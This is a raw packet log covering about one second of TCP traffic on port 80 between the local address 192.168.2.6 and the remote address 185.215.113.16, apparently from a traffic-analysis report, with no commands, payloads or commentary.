Nov 1, 2024 00:38:46.677298069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.677331924 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.677366018 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.677401066 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.677452087 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.677505016 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.677931070 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.677994967 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.678086996 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.678117037 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.678139925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.678152084 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.678172112 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.678189039 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.678204060 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.678222895 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.678241014 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.678260088 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.678271055 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.678308964 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.698590040 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.698649883 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.698684931 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.698717117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.698735952 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.698761940 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.698765993 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.698802948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.698810101 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.698843956 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.698848009 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.698872089 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.698889017 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.698901892 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.698930025 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.698932886 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.698961973 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.699002981 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.699047089 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.699073076 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.699112892 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.699125051 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.713815928 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.713865995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.713881969 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.713905096 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.713920116 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.713948011 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.713979006 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.714004040 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.714005947 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.714056015 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.714057922 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.714092970 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.714111090 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.714129925 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.714143038 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.714183092 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.714220047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.714272022 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.714272976 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.714327097 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.714333057 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.714368105 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.714381933 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.714418888 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.714689016 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.714719057 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.714750051 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.714771032 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.714773893 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.714806080 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.714837074 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.714840889 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.714869976 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.714884043 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.715022087 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.715073109 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.715079069 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.715121984 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.715133905 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.715168953 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.715193987 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.715204954 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.715219975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.715241909 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.715256929 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.715275049 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.715292931 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.715310097 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.715329885 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.715379000 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.715949059 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.715982914 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.716013908 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.716017962 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.716046095 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.716084957 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.765917063 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.765954971 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.766014099 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.766035080 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.766083956 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.794055939 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.794104099 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.794142008 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.794153929 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.794188023 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.795131922 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.795167923 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.795195103 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.795202971 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.795222044 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.795237064 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.795244932 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.795273066 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.795305967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.795310020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.795361042 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.795361996 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.795387030 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.795392990 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.795403957 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.795463085 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.815274000 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.815305948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.815351963 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.815376043 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.815378904 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.815412998 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.815448046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.815459967 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.815484047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.815496922 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.815553904 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.815620899 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.815649033 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.815696955 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.815759897 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.815794945 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.815819025 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.815828085 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.815853119 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.815875053 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.815921068 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.815970898 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.816056013 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.816082001 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.816104889 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.830543995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.830576897 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.830611944 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.830642939 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.830645084 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.830679893 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.830710888 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.830780029 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.830832005 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.830835104 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.830868006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.830883980 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.830919981 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.830921888 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.830954075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.830971956 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.831001043 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.831075907 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.831125975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.831125975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.831161976 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.831171989 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.831209898 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.831257105 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.831290960 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.831305027 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.831382036 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.831387997 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.831444025 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.831468105 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.831500053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.831516981 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.831545115 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.831619024 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.831669092 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.831671000 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.831702948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.831718922 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.831737041 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.831748009 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.831779957 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.831954956 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.832006931 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.832009077 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.832041025 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.832057953 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.832076073 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.832083941 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.832118034 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.832276106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.832328081 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.832391977 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.832427025 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.832443953 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.832462072 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.832472086 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.832496881 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.832532883 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.832545042 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.832566023 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.832583904 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.832601070 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.832617998 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.832645893 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.882818937 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.882874966 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.882929087 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.882957935 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.882963896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.883014917 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.910900116 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.911005974 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.911041975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.911055088 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.911103010 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.911978960 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.912014961 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.912050009 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.912084103 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.912137032 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.912158966 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.912170887 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.912197113 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.912206888 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.912241936 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.912242889 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.912267923 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.912292957 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948177099 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948235035 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948285103 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948318958 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948369026 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948404074 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948421001 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948437929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948472977 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948482990 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948507071 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948509932 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948539972 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948548079 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948561907 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948580980 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948615074 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948638916 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948664904 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948678017 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948700905 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948720932 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948741913 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948750019 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948785067 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948798895 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948821068 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948828936 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948856115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948863029 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948889971 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948905945 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948924065 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948956966 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.948961973 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948980093 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.948992014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.949002981 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.949047089 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950095892 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950151920 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950155020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950198889 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950205088 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950241089 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950248957 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950282097 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950292110 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950326920 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950349092 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950361013 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950395107 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950396061 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950424910 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950428963 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950453997 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950467110 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950469971 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950506926 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950519085 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950541019 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950546980 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950577021 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950587034 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950623035 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950678110 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950711012 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950725079 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950747013 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950759888 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950779915 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950792074 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950817108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.950826883 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.950870037 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.999835968 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.999882936 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.999921083 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.999995947 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.000055075 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.027558088 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.027667046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.027699947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.027733088 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.027755976 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.027805090 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.029094934 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.029179096 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.029230118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.029243946 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.029267073 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.029285908 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.029303074 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.029335022 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.029354095 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.029356956 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.029390097 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.029405117 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.029423952 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.029443979 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.029473066 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.064934969 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.064989090 CET	80	49887	185.215.113.16	192.168.2.6
